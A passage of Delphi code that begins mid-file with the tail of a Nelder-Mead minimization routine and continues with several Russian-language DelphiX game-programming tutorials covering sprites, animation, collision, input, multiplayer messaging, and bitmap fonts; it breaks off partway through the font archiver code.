procedure Reduction(var Temp: TNelderTempData; const Option: TNelderOption);
var
ZeroPoint: PExtended;
PtrD0, PtrFX: PExtended;
PtrX0, PtrX: PExtended;
FX0: EXtended;
I, J: Integer;
begin
with Temp, Option do
begin
PChar(ZeroPoint) := PChar(D0) + N * Indexes^ * SizeOf(Extended);
PtrD0 := D0;
PtrFX := FX;
FX0 := FX^;
for I := 0 to N do
begin
if PtrD0 = ZeroPoint then
begin
// Точка пропускается
PtrFX^ := FX0;
end
else
begin
// Вычисляем точку:
PtrX := PtrD0;
PtrX0 := ZeroPoint;
for J := 0 to N - 1 do
begin
PtrX^ := 0.5 * (PtrX^ + PtrX0^);
PChar(PtrX) := PChar(PtrX) + SizeOf(Extended);
PChar(PtrX0) := PChar(PtrX0) + SizeOf(Extended);
end;
// Вычисляем функцию
PtrFX^ := Func(PtrD0);
end;
PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended);
PChar(PtrD0) := PChar(PtrD0) + N * SizeOf(Extended);
end;
end;
RefreshFX(Temp, Option);
end;
var
It: Integer = 0;
function NeedStop(var Temp: TNelderTempData; const Option: TNelderOption):
Boolean;
var
PtrD0, PtrC, PtrFX: PExtended;
Sum1, Sum2: Extended;
I, J: Integer;
begin
// Не все параметры используются...
with Temp, Option do
begin
Sum1 := 0.0;
if Delta > 0.0 then
begin
FC := Func(C);
PtrFX := FX;
for I := 0 to N do
begin
Sum1 := Sum1 + Sqr(PtrFX^ - FC);
PChar(PtrFX) := PChar(PtrFX) + SizeOf(Extended)
end;
Sum1 := Delta * Sqrt(Sum1 / (N + 1));
end;
Sum2 := 0.0;
if Delta < 1.0 then
begin
PtrD0 := D0;
for I := 0 to N do
begin
PtrC := C;
for J := 0 to N - 1 do
begin
Sum2 := Sum2 + Sqr(PtrD0^ - PtrC^);
PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
PChar(PtrD0) := PChar(PtrD0) + SizeOf(Extended);
end;
end;
Sum2 := (1.0 - Delta) * Sqrt(Sum2 / (N + 1));
end;
Result := Sum1 + Sum2 < Eps;
end;
end;
procedure Correct(var Temp: TNelderTempData; Option: TNelderOption);
var
S: Extended;
PtrC: PEXtended;
I: Integer;
begin
with Temp, Option do
begin
S := (D1 + (N - 1) * D2) / (N + 1);
PtrC := C;
for I := 0 to N - 1 do
begin
PtrC^ := PtrC^ - S;
PChar(PtrC) := PChar(PtrC) + SizeOf(Extended);
end;
BuildSimplex(Temp, Option);
MoveSimplex(Temp, Option, C);
end;
end;
function Norm(X1, X2: PEXtended; N: Integer): Extended;
var
I: Integer;
begin
Result := 0.0;
for I := 0 to N - 1 do
begin
Result := Result + Sqr(X1^ - X2^);
PChar(X1) := PChar(X1) + SizeOf(Extended);
PChar(X2) := PChar(X2) + SizeOf(Extended);
end;
Result := Sqrt(Result);
end;
function SolutionNelder(const Option: TNelderOption): Integer;
var
Temp: TNelderTempData;
IsFirst: Boolean;
begin
It := 0;
IsFirst := True;
Result := InitializeTempData(Temp, Option.N);
if Result <> FIND_MIN_OK then
Exit;
try
// Шаг №1: построение симплекса
BuildSimplex(Temp, Option);
// Шаг №2: перенос симплекса в точку X0
MoveSimplex(Temp, Option, Option.X0);
repeat
// Шаг №3: вычисление значений функции (+ сортировка)
CalcFX(Temp, Option);
RefreshFX(Temp, Option);
repeat
// Шаг №4: вычисление центра тяжести без точки Indexes[N]
CalcC(Temp, Option);
// Шаг №5: Вычисление точки U
ReflectPoint(Temp, Option, Temp.U, Option.Alpha);
// Шаг №6: Определение ситуации
Temp.FU := Option.Func(Temp.U);
case DetectSituation(Temp, Option)
{Temp.FX, Temp.U, Option.Func, Option.N, Temp.FU)} of
SITUATION_EXPANSION: // Растяжение
Expansion(Temp, Option);
SITUATION_REFLECTION:
Reflection(Temp, Option); // Отражение
SITUATION_COMPRESSION: // Сжатие
Compression(Temp, Option);
SITUATION_REDUCTION: // Редукция
Reduction(Temp, Option);
else
Assert(False, 'Другое не предусматривается');
end;
// Шаг №7 критерий остановки
if NeedStop(Temp, Option) then
Break;
until False;
if not IsFirst then
begin
if Norm(Option.X, Temp.C, Option.N) < Option.Eps then
begin
Move(Temp.C^, Option.X^, Option.N * SizeOf(Extended));
Break;
end;
end;
IsFirst := False;
Move(Temp.C^, Option.X^, Option.N * SizeOf(Extended));
case Option.Mode of
FIND_MIN_MODE_STD: Break;
FIND_MIN_MODE_1: Correct(Temp, Option);
FIND_MIN_MODE_2:
begin
BuildSimplex(Temp, Option);
MoveSimplex(Temp, Option, Temp.C);
end;
end;
until False;
Result := FIND_MIN_OK;
finally
FinalizeTempData(Temp);
end;
end;
function FindMin_Nelder(const Option: TNelderOption): Integer;
var
UseOption: TNelderOption;
begin
try
Result := CheckNelderOptionPtr(@Option);
if Result <> FIND_MIN_OK then
Exit;
Result := CopyData(Option, UseOption);
if Result <> FIND_MIN_OK then
Exit;
Result := SolutionNelder(UseOption);
finally
end;
end;
Advanced Draw.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
Кручу-верчу, обмануть хочу, или как использовать продвинутые методы вывода спрайтов. В классе TSprite есть три метода: DoDraw, DoCollision и DoMove Чтобы заставить спрайт созданный таким образом:TPlayer = class(TImageSprite) end;выводится через продвинутые методы (DrawRotate, DrawAplha, DrawSub, DrawWave, StretchDraw), нужно "заглушить" стандартный вывод при создании объекта. Вот так:
type
THero = class(TImageSprite)
Angle:integer;
protected
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
procedure DoMove(MoveCount: Integer); override;
procedure DoDraw; override; // вот здесь
end;
Теперь в процедуре DoDraw выводим спрайт нужным нам способом. Вот так: procedure THero.DoDraw; begin image.drawrotate(form1.DXDraw.Surface,round(x)+16,round(y)+16,image.width,image.height,round(animpos),0.5,0.5,Angle); end;Посмотрите этот dodraw.zip примерчик, для более ясного понимания. А теперь недокументированная фишка! Забываем то, что написано выше и читаем дальше. Создадим спрайт таким образом:
TPlayer = class(TImageSpriteEx) protected procedure DoMove(MoveCount: Integer); override; end;И теперь в процедуре DoMove можно задать Angle (угол поворота спрайта) и Alpha (прозрачность спрайта). Примерно так:
type
THero = class(TImageSpriteEx)
Angle:integer;
protected
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
procedure DoMove(MoveCount: Integer); override;
end;
procedure TPlayer.DoMove(MoveCount: Integer);
begin
X:=100;
Y:=100;
Angle:=60;
Alpha:=150;
end;
Дерзайте!
Анимация спрайтов.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
Все ниже написанное относится к Delphi 5, в более старых версиях возможны отличия, а может и нет, не знаю. Щас мы будем анимировать спрайт. Он будет состоять из 6 промежуточных фаз.
|
|
|
|
|
|
Сначала сделаем без использования DXSpriteEngine:
Создадим форму MainForm
На форме создадим
DXDraw, размером где-то 150x150,
DXImageList и
DXTimer
Красиво? :), щас будет еще красивее.
Теперь в Properties DХImаgеList'а делаем:
DXDraw = DXDraw или как Вы там его обозвали.
ВItеms добавляем поочередно наши спрайтики в TPictureCollection, для каждого спрайта указывается TransparentColor, в моем случае это $00FFC0C0 (вылез автоматически).
Вооот, теперь значицца в DXTimer Properties ставим:
ActiveOnly = True
Enabled = True
Interval = 150, чем больше, значение, тем больше задержка, между выводом картинок.
В Еvеnts'ах DXTimer'a:
OnTimer щелкаем пару раз, создается процедура DXTimerTimer, вставляем туда кусок:
const //Это перед Begin n:integer=0; //Это перед Begin if not DXDraw.CanDraw then Exit; //Это понятно DXDraw.Surface.Fill(15); //Делаем поверхность синей (15) DXImageList.Items[n].Draw(DXDraw.Surface,50,50,0); //Здесь выводим спрайт № n на поверхность DXDraw в координаты 50х50 со значением Transparent=0 DXDraw.Flip; //Это переключит поверхности. if n > 5 then inc(n) else n:=0; //Здесь переключим счетчик на следующую картинкуТеперь давим Run и ОПА! Исходник и спрайты можете взять Здесь sampl1.zip (12Kb). А теперь тоже самое, но будем использовать DXSpriteEngine: Все промежуточные фазы хранятся в одном файле:
Будем использовать первые 6 кадров.
Так как все спрайты объединены в одной картинке, то необходимо сделать следующее:
То есть установить ширину и высоту кадра (при чем высота нужна только в случае 2-мерного массива кадров)
type
TSprite = class(TImageSprite)
end;
procedure TForm1.FormCreate(Sender: TObject);
Var
Sprite:TImageSprite;
begin
Sprite := TSprite.Create(DXSpriteEngine.Engine);
with TSprite(Sprite) do
begin
Image := DXImageList.Items.Find('sprite');
AnimStart:=0;
AnimLooped:=true;
AnimCount:=6;
AnimSpeed:=100/1000;
x:=100;
y:=100;
Z:=0;
end;
end;
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
DXSpriteEngine.Move(1);
DXDraw.Surface.Fill(15);
DXSpriteEngine.Draw;
DXDraw.Flip;
end;
Аркадный движок.
Оформил: XVeL Автор: JibSkeart WEB-сайт: http://daddy.mirgames.ru
Как реализован движок. Есть прямая (AB) у этой прямой имеем координаты X1,Y1,X2,Y2
Дальше что нам нужно ?
Ну исходя из того что у нас есть не только прямые но и Герой или другие создания Нам нужно знать стоит наше создание на прямой или нет ... А что такое наш герой да и другие объекты ??? Да ничего больше как обычная точка с двумя координатами Xobj,Yobj Так вот продолжаем, что бы проверить стоим мы на прямой или нет, мы смотрим (вычисляем) Растояние от точки (XObj,Yobj) до прямой (AB) (подобные формулы можно найти в любом справочнике по математике) Конечная формула у меня получилась такой
| A:=-Y2+Y1; B:=X2-X1; C:=-X2*Y1+Y2*X1; D := Round((A*Xpos+B*Ypos+C)/(Sqrt(Sqr(A)+Sqr(B)))); |
Вот так получился конечный результат нахождения угла между прямыми со всякими проверками...
A2:=-yy2+yy1; B2:=xx2-xx1; A1:=-y2+y1; B1:=x2-x1; If (A1*B2-A2*B1><0) and (A1*A2+B1*B2><0) Then _Alpha :=(A1*B2-A2*B1)/(A1*A2+B1*B2) else _Alpha:=0; _AlphaRad := ArcTan(_Alpha); _AlphaDeg := RadToDeg(ArcTan(_Alpha)); _Fddx:=Sin(_AlphaRad)*_StepX; _Fddy:=Cos(_AlphaRad)*_StepY; If _AlphaRad>0 Then _Fddx:=-_Fddx; If _AlphaRad>0 Then _Fddy:=-_Fddy;Ага все нашли и если мы теперь стоим на нашей прямой и мы знаем коэффецинты приращ. мы можем побегать это будет выглядеть так XObj := Xobj+Fddx; - вот здесь можно и не вычеслять FDdx потомучто он будет всегда равен ( изходя из ентой формулы _Fddx:=Sin(_AlphaRad)*_StepX; ) _StepX !!! YObj := Yobj+Fddy; Теперь если мы стоим то мы можем прыгнуть присеть итд ну это зависит только от вашей фантазии Да тут у меня еще есть корректировочка я еще нахожу точку пересечения двух прямых где одна прямая эта та по которой мы бегаем а вторая спускается из XObj ,YObj вертикально вниз это я делал для того чтобы если до линии +-StepY то я автоматом "падаю (прикрепляюсь) на эту линию " так как не всегда у вас будет роастояние от точки до прямой равнятся 0 так как мы будем падать с определенным шагом (скоростью) воот представте что мы падаем, шаг равен 8, а на данный момент растояние до прямой = 4 в следующем моменте растояние будет равняься -4 !!! и мне приходится в такой момент переносить координаты героя на коорд. точки пересеч да вообщем это даже незаметно ... воот видали так что енто погрешность моего движка :) Ну а если у нас прямых много ,то нам нужно знать от линии Номер , Угол ,Приращения итд... вообщем на какой прямой мы стоим и что нам от нее ожидать :) или какая из линий ближе к нам. я это делал в обычном массиве ( Да, в данном алгоритме я применял длинну линии 32 (можно и другую или просто все линии разные) здесь я хотел придумать более оптимальный вариант поиска линий. Представьте что у нас на уровне 10000 линий.... поняли ??? Долго воот ... И пока ентот массив из 10000 прокрутит , а также если у нас будут другие Твари бегать на уровне и так же будут искать ближайшие линии плюс искать путь.... уфф короче он требует оптимальности :)) в голове что то крутится по этому поводу, но пока ничего, если вдруг придумаете буду рад увидеть это хотя есть такой момент отсортировать все линии по порядку с левой верхней по праваю нижнюю там уже можно и вычеслить какие линию вокруг , рядом с Героем и цикл большой не понадобится... это так же как в массиве найти элементы точек вокруг точки...)
For i:=0 to _LinesCount-1 do
begin
//Если линия не вертикальна и в пределах экрана то
If not _ListLines[i].vert and _Visible(i) Then
begin
//вычисляем растояние от точки до этих прямых авось на кокую да встанем
LLine(_X,_Y, {Координаты героя}
_ListLines[i]._XY1.X, {Координаты прямой}
_ListLines[i]._XY1.Y,
_ListLines[i]._XY2.X,
_ListLines[i]._XY2.Y,
_LBDist); {Растояние}
If (_LBDist>=8)and(_LBDist<-8) Then
begin
...
// если условие выполнилось то выдергиваем индекс линия
// для дальнейших работ с ней а также сообщаяем что мы наконецто куда-то приземлились :)
end;
end;
end;
Так же я ищу стенки только уже в цикле смотрю только те вертикальные прямые которые видны (внутри идет проверка на вертикальные прямые ) и так же изучаю растояние до них если растояние поподает в -+8 смотря с какой стороны относительно героя находится то мы туда и не можем идти Ну вообшем все основные моменты я рассказал Вообшем я состряпал три основных класса с которыми все енто работает
Все с него начинается класс "Линия"
CLine=class
Содержит в себе X1,Y1,X2,Y2
также как только мы присвоили координаты вычесляет угол
смотрит вертикальная она или нет
Это уже список линий
CLines=class
Содержит список линий (массив типа CLine)
Знает количество линий :)
Умеет сохранять карту(список линий)
Также загружать карты
Чистить
Ну и он самый главный :) наследник всего хорошего от класса Списка линий (CLines)
CEngine=class(CLines)
Унаследовал все от класса CLines (если не знаете как это читаете литературу ...)
но научился смотреть относительно координат героя
ближнии прямые
Управлять героем
и другим ...
Вообщем-то сам движок несложен, его даже можно упростить И как, сечас даже постораюсь обьяснить Ну первое, что я хотел бы переделать так это ... какие то не рациональные в моем движке моменты со стеной тоесть смотрим где стена итд, некрасиво как то. в принципе то работает, но хотелось бы упроситьть и сделать более универсальным и тут на днях я придумал как сие сделать, но возможно столкнусь с другими проблемами Так вот, начинаем излогать свои мысли Во первых у нас есть прямая по которой мы двигаемся Ладно мы нашли угол относительно горизонтали итд мы двигаемся , но стена, как по другому на это посмотреть чисто физиологически ??? Ага вот тут и наступает момент когда нужна физика ! Представь что ты идешь по прямой она поднимается и тебе все сложнее и сложнее на нее идти а потом бац и уклон еще круче и ты просто не можешь на нее забратся Хех так вот можно сделать так Есть тело которое находится в состоянии равновесии и стоит на плоскости (в нашем случае прямой) под углом к горизонтали (Alpha = 45) ну возьмем этот угол :) для примера тоесть тело не скатывается мы прилогаем к нему силу либо веррх либо, вниз и тело скользит ! Естественно что, если угол больше 45(в нашем случае) и мы не прилогаем силы , то тело начнет скользить вниз, а если мы попытаемся "залезть" на макс угол то мы будем как бы ,мгновенно скатыватся.
Тогда нам нужно знать :
1. Угол относительно горизонтали
2. Массу тела (у нас будет точка) - постояное мне кажется енто сдеся и не столь важно можно залепить любое число
3. Коэффециент трения (или силу трения )
при том максимальном угле при котором тело наход-ся в состоянии равновесия - тоже константа (отсюда пока следует что скорость = 0) Максимальный угол предстовляет из себя тот угол на который наш герой еще может залесть если угол больше то он либо скатывается либо лезет медленно Видели наверное в 3D играх когда на крутой склон пытаешся залесть начинаешь скатыватся чем круче склон тем быстрее. Сие я увидел в Serius Sam 2 там что то пожожее
4. Силу с котрой мы толкаем тело ... - постоянное
Силу можно вычеслить так, пусть тело движется со скоростью (с шагом) 6 пикселей в сек :) по горизонтальной поверхности нам надо найти силу которую в данный момент прикладывают к телу
5. исходя из силы будем находить шаг (или скорость) движения тела
(Силу мы нашли она у нас всегда одинакова ) тоесть тут сразу видно что если с той силой, с которой ,мы толкаем тело по гориз. поверхности мы будем толкать вверх по наклонной поверхности шаг будет разным или даже если мы толкаем на крутую гору отрицательным то есть, будет тутже скатыватся или если мы будем толкать с горки будем быстрее бежать
вот и все впринципе думаю что он более удачный чем тот что у мя раньше
И другой момент
А Ведь можно сделать его а-ля 3d это когда мы бегаем также по одной плоскостит но все элементы по настоящемму трех мерные, помните Тарзан гаму ??? Да и нетолько, если мы возьмем вместо линии плоскость ??
Тут можно взять пример: arcengine.zip
Будут вопросы пишите , ответим JibSkeart(Salimgareev Marat) JibSkeart@yandex.ru
Изменение гаммы спрайта.
Оформил: XVeL Автор: Spose&Daddy WEB-сайт: http://daddy.mirgames.ru
Для чего это нужно. Эту технологию можно использовать для выделения "юнита", или для выделения пункта меню. Одним словом для обозначения чего-либо. Ну что не поняли? Показываю:
|
| стандартный спрайт : спрайт с измененной гаммой |
procedure Tform1.createmmap(Color:Tcolor;alpha:byte);
var
NG : TDIB;
Item: TPictureCollectionItem;
tm:Tdirectdrawsurface;
i:integer;
est:boolean; //Присутствует ли уже измененная картика в списке
TC:TColor; //TransparentColor
begin
ng:=tdib.Create; //Создаем картинку (пустую)
tm:=Tdirectdrawsurface.Create(DXDraw.Surface.DDraw); //Создаем поверхность
tm.SystemMemory:=false;
tm.SetSize(il.Items[0].Width,il.Items[0].height); //Устанавливаем размер поверхности по размеру исходной картинки
tm.Fill(color); //Заполняем фон нужным цветом
il.Items[0].DrawAlpha(tm,bounds(0,0,il.Items[0].width,il.Items[0].height),0,alpha); //Рисуем исходную картинку на фон с прозрачностью
tm.AssignTo(ng); //Сохраняем изображение в картинку (создана первой строкой)
tm.Free; //Очищаем память от поверхности
TC:=ng.Canvas.Pixels[0,0]; //Возьмем цвет точки 0,0 в качестве TransparentColor для нового спрайта
est:=false; //Ставим на нет, то что картинка уже есть в списке
for i:=0 to il.Items.Count-1 do //Если же она есть
if il.Items[i].Name='MMG' then est:=true; //ТО Ставим на Да
if est then //Если ДА то
begin //Изменяем уже существующую картинку
item:=il.Items.Find('MMG');
item.Picture.Graphic := ng;
item.TransparentColor:=TC;
item.Transparent:=true;
item.Restore;
end
else
begin //Если же Нет, то заносим в список новую!
Item := TPictureCollectionItem.Create(IL.Items);
Item.Name:='MMG';
Item.SystemMemory:=false;
Item.Picture.Graphic := ng;
Item.TransparentColor:=TC;
Item.Transparent:=true;
Item.Restore;
end;
end;
Вот и все. Возмите этот готовый примерчик.
Collision.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
Итак, у нас есть спрайты. Они рисуются, двигаются, но не взаимодействуют друг с другом. И вот для того, что бы мячики отскакивали, пули попадали во врага, а герои не проваливались сквозь пол, в DelphiX есть замечательная вещь как проверка на столкновение, которая в большинстве случаев поможет избежать написание собственного движка. Есть два метода определение столкновений. 1. Проверка столкновения рамок: Простой тип, слежение идет за взаимным положением рамок спрайтов. При обнаружении пересечения координат, ябъявляется событие "столкновение" 2. Проверка столкновения точек: Сложный тип. Слежение ведется не только за взаимным положением рамок спрайтов, но и за взаимным положением самих изображений. Событие "столкновение" объявляется при обнаружении пересечения точек изображений.
|
Рамка Рамка определят размер спрайта, что дает взаимодействовать спрайтам друг с другом. Так же рамка нужна для определения момента обрезания спрайта, при выходе за экран. Одним словом вещь крайне важная. Если не указать ширину и высоту рамки, DelphiX будет выводить спрайт, но не сможет определять столкновения |
Проверка на столкновение рамок 1
столкновение есть |
Столкновение рамок Как вы видите столкновение произошло. Но сами спрайты не коснулись друг-друга.Это не очень красиво, но зато очень быстро. |
Столкновения нет.
Столкновение есть.
|
Проверка на столкновение рамок 2
Есть ещё один способ проверки столкновения без PixelCheck.
const Border = ...;
with TAnyObject.Create(MyForm.DXSpriteEngine.Engine) do
begin
Image:=...;
Width:=Image.PatternWidth - 2*Border;
Height:=Image.PatternHeight - 2*Border;
...
end;
В этом случае картинка будет выводиться полностью, но квадрат столкновений уменьшится. Необходимо изменить также и DoMove, ведь X = OldX + Border и Y = OldY + Border. Именно этот способ как правило используется в аркадах. |
Проверка на столкновение точек
столкновения нет |
Проверка на столкновение точек Более точный и красивый. Проверка на столкновение самих изображений. Больше подходит для сложных спрайтов. Требует большей загрузки процессора.. |
Проверка на столкновение точек
столкновение есть |
Более точное определение столкновения Два пиксела проверяют спрайты на столкновение. Как видно рамки давно столкнулись, но событие поизошло только когда столкнулись непрозрачные части. |
Проверка на столкновение рамки и точки
столкновения нет |
Смешивание типов обнаружения столкновения Спрайты, использующие разные методы определения столкновения то-же будут сталкиваться друг с другом. Один спрайт использует определение по рамке, другой по точке. Иногда смешиванием можно добиться неплохих, реалистичных результатов.. |
Проверка на столкновение рамки и точки
столкновение есть |
Альтернатива -(не лучшее решение, но альтернативное...) Как вы видите это не слишком великолепно. Игрок может видет, что спрайты не столкнулись на самом деле, а игра будет определять, что стокновение произошло после попадания рамки одного спрайта на непрозрачную точку другого. |
DXInput.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
В этой статье мы рассмотрим методы управления объектами в играх с помощью клавиатуры, мыши и джойстика.. 1. Клавиатура. Опрос нажатия клавиши ведется через DXInput.States:if <тикер> in DXInput.States then begin //действие end,где <тикер> есть зарезервированное слово: isUp - по умолчанию "стрелка вверх" isDown - по умолчанию "стрелка вниз" isRight - по умолчанию "стрелка вправо" isLeft - по умолчанию "стрелка влево" IsButton1 - по умолчанию "Space" IsButton2 - по умолчанию "Enter" IsButton3-IsButton32 - по умолчанию не определены Для сравнения два равноценных условия:
//c использования DXInput if isUp in DXInput.States then begin //действие end //а это - без if Key=VK_UP then begin //действие endЧтобы определить "тикер": DXInput.Keyboard.KeyAssigns[<тикер>,X]:= <кнопка> ,где: X - значение от 0 до 2 (то есть на каждый "тикер" можно присвоить до трех <кнопок>) <кнопка> - код кнопки (например ord('Q')). Примечание: буквенные клавиши указываются в верхнем регистре, т.е.
DXInput.Keyboard.KeyAssigns[isButton10,X]:=ord('q')
не будет реагировать на нажатие клавиши 'q' .
Кнопки Ctrl, Alt, Shift можно опросить обычным способом: If (ssCtrl in Shift) then ... If (ssAlt in Shift) then ... If (ssShift in Shift) then ...Небольшой примерчик. Зарекрепим за тикером isUp - кнопки "E","I" и "стрелка вверх":
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
begin
if not DXDraw.CanDraw then exit;
//обновим состояние DXInput (нужно делать при каждом тике таймера)
DXInput.Update;
DXDraw.Surface.Fill(0);
If isUP in DXInput.States then
With DXDraw.Surface.Canvas do
begin
Brush.Style := bsClear;
Font.Color := clWhite;
Font.Size := 12;
TextOut(50,50,'UP pressed');
Release;
end;
DXDraw.Flip;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
DXInput.Keyboard.KeyAssigns[isUp,0]:=ord('E');
//за [isUp,1] - по умолчанию зарезервирована "стрелка вверх", оставим ее.
DXInput.Keyboard.KeyAssigns[isUp,2]:=ord('I');
end;
2. Мышь
DXinput.Mouse.X - положение курсора по горизонтали
DXinput.Mouse.Y - положение курсора по вертикали
DXinput.Mouse.Z - положение курсора по третьей оси
Небольшой примерчик:
var
Form1: TForm1;
MouseX,MouseY:integer;
LeftB,RightB:boolean;
implementation
{$R *.DFM}
procedure TForm1.DXTimerTimer(Sender: TObject; LagCount: Integer);
var Shift: TShiftState;
begin
if not DXDraw.CanDraw then exit;
DXInput.Update;
DXDraw.Surface.Fill(0);
With DXDraw.Surface.Canvas do
begin
Brush.Style := bsClear;
Font.Color := clWhite;
Font.Size := 12;
If LeftB then
TextOut(0,0,'Left');
If RightB then
TextOut(50,0,'Right');
TextOut(0,50,IntToStr(MouseX)+','+IntToStr(MouseY));
Release;
end;
DXDraw.Flip;
end;
procedure TForm1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
begin
MouseX:=X;
MouseY:=Y;
end;
procedure TForm1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
If ssLeft in Shift then LeftB:=true;
If ssRight in Shift then RightB:=true;
end;
procedure TForm1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
LeftB:=false; RightB:=false;
end;
3. Джойстик
Настроим джойстик:
DXinput.Joystick.RangeX = 0 - 1000, устанавливает диапазон изменения значений по горизонтальной оси от X до -X
DXinput.Joystick.RangeY = 0 - 1000, устанавливает диапазон изменения значений по вертикальной оси от Y до -Y
DXinput.Joystick.RangeZ = 0 - 1000, устанавливает диапазон изменения значений по третьей оси от Z до -Z
DXinput.Joystick.DeadzoneX = 0 - 100, устанавливает чувствительность по горизонтальной оси
DXinput.Joystick.DeadzoneY = 0 - 100, устанавливает чувствительность по вертикальной оси
DXinput.Joystick.DeadzoneZ = 0 - 100, устанавливает чувствительность по третьей оси
0 - самое чувствительное значение.
Читаем положение рукоятки:
DXinput.Joystick.X - по горизонтальной оси
DXinput.Joystick.Y - по вертикальной оси
DXinput.Joystick.Z - по третьей оси
Z - используется в случае наличия на джойстике соответствующей ручки. Этот кусок кода сканирует кнопки на джойстике:
for i := 0 to DXInput1.Joystick.ButtonCount do
begin
if DXInput1.Joystick.Buttons[i] = True then
begin
//Кнопка нажата. Действие.
end;
end;
Примечание: Руль можно считать частным случаем джойстика. При этом штурвал - горизонтальная ось (X), педаль газа и педаль тормоза - вертикальная ось (Y).
DXPlay.
Оформил: XVeL Автор: SDil WEB-сайт: http://daddy.mirgames.ru
Многие игры в нынешнее время поддерживают мультиплеер, почему? Потому что сейчас люди уже перестали довольствоватся Ai’ем, который играет в частности ‘линейно’, его нельзя обмануть, пошутить над его действиями или разозлить... =) С ним играть можно только на уровне обучения игры, а далее – сеть, живые игроки… ;). Если это маленькое вступление заставило вас захотеть добавить в свою игру мультиплеер то эта статья для вас. Итак, сразу к делу. Сделаем самую легкую программу, с одной кнопкой. =) Кидаем ее на форму, не забыв кинуть DXPlay. В этой программе давайте сделаем что бы форма подключения DXPlay выводилась при запуске. Идем в настройки DXPlay и устанавливаем любой Guid путем нажатия кнопки New, этот параметр (imho) “устанавливает” уникальности вашему мультиплееру. Далее так: TForm1<Events<OnCreate, и в процедуру кидаем:
try
DXPlay1.Open; //Пытаемся открыть форму подключения
except
on E: Exception do
begin
Application.ShowMainForm := False;
Application.HandleException(E);
Application.Terminate; //Если не подключаемся или ошибка выходим их программы
end;
end;
Теперь при запуске программы у вас будет выводится форма DXPlay. После: uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, DXPlay;Пишем:
const
DXMESE = 1;
type
TDXMessage = record
MessageType: DWORD; //Тип сообщения
Mes: Integer; //Тип пересылаемых данны, может быть несколько, к примеру - Mes2: String;
end;
Далее, кликаем два раза на кнопку, создавая тем самым процедуру нажатия кноки, и пишем туда: Перед begin: Var Msg: ^TDXMessage; //Ссылаемя на TDXMessage MsgSize: Integer; //Размер сообщенияПосле:
MsgSize := SizeOf(TDXMessage); // Нужно узнать размер сообщения.
GetMem(Msg, MsgSize);
try
Msg.MessageType := DXMESE; //Указываем тип сообщения
Msg.Mes:=random(100); {Само сообщения, может быть что угодно, вплоть до нахождения курсора мышки}
DXPlay1.SendMessage(DPID_ALLPLAYERS ,msg,msgsize); //Отправлем мессагу всем игрокам
DXPlay1.SendMessage(DXPlay1.LocalPlayer.ID ,msg,msgsize); //Отпраляем себе
finally
FreeMem(Msg); //Освобождаем память сообщения Msg
end;
Для приема делаем следующее - DXPlay1<Events<OnMessage и пишем :
Button1.Left:=TDXMessage(Data^).Mes; {Устанавливаем положения кнопки по горизонтали в соответсвии с полученным числом}
Button1.Caption:=inttostr(TDXMessage(Data^).Mes); //Пишем это число
Итак, это уже конец, осталось чуть-чуть:
В процедуре уничтожения формы (FormDestroy) (Tform1<Events<OnDestroy) пишем: DXPlay1.Close; //Завершение подключения DXPlay.И последний штрих – В Unit добавляем DirectX. Все, запускаем и радуемся нашей первой программе с мультиплеером! =) Пример к статье P.S. Для тестирования достаточно запустить две копии программы, 1-ая хост, 2-ая подключается. ;)
Опять шрифты. Нормальная процедура отображения графических шрифтов.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Сразу рассмотрим плюсы и минусы помещения каждой буквы в отдельное изображение! Плюсы : 1.Более быстрая отрисовка (так как ищется только номер картинки). 2.Буквы рисуются аккуратно, на одинаковом расстоянии друг от друга. Минусы: 1.Много файлов (256 штук) - этот минус отпадает сам, так как я буду использовать псевдо архив. 2.Довольно медленная загрузка (надо прочитать архив и повторить процедуру загрузки картинки в память 256 раз) Сначала нам нужны все символы от 1 до 256 в BMP формате (желательно 256 цветов) из них и будет состоять шрифт. Сейчас мы напишем программу сохраняющая ваши символы в псевдо архив fnt. Создаем проект и после слова TYPE пишем:Thead=record //Заголовок fnt файла count:integer; //Количество изображений (вдруг вам русский шрифт не нужен а нужен только английский - тогда картинок будет 128 name:string[5]; //Имя шрифта (нужно для распаковки картинок) tcl:tcolor; //Цвет прозрачности end;Добавляем на форму:
| Имя компонента: | Название компонента: | Описание |
| DXDIB | TDXDIB | Тут изображение сжимается |
| dlb | TDirectoryListBox | Тут выбор каталога с изображениями |
| flb | TFileListBox | Тут список BMP файлов |
| dcb | TDriveComboBox | Тут выбор диска с изображениями |
| Button1 | TButton | Начало сжатия |
| Button2 | TButton | Выход из программы |
| Edit1 | TEdit | Тут в формате String хранится цвет прозрачности |
| Edit2 | TEdit | От сюда берется название изображений |
procedure TForm1.Button1Click(Sender: TObject);
var
fs:Tfilestream;
m:Tmemorystream;
size:int64;
h:thead;
i:integer;
begin
fs:=tfilestream.Create('what.fnt',fmCreate); //Создаем архив
h.count:=flb.Count; //Заносим данные в заголовок файла(3 строки)
h.name:=edit2.Text;
h.tcl:=stringtocolor(edit1.Text);
fs.Write(h,sizeof(h)); //Записываем заголовок
for i:=0 to h.count-1 do //Теперь от 0 до количества изображений-1 делаем:
begin dxdib.DIB.LoadFromFile(flb.Items[i]); //Загружаем картинку в TDIB
dxdib.DIB.Compress; //Сжимаем
m:=tmemorystream.Create; //Создаем поток в памяти
dxdib.DIB.SaveToStream(m); //Сохраняем изображение в поток
size:=m.Size; //Получаем размер изображения в байтах
fs.Write(size,sizeof(size)); //Записываем размер изображения в архив
m.Position:=0; //Просто это нужно
fs.CopyFrom(m,size); //Записываем поток изображения в файл
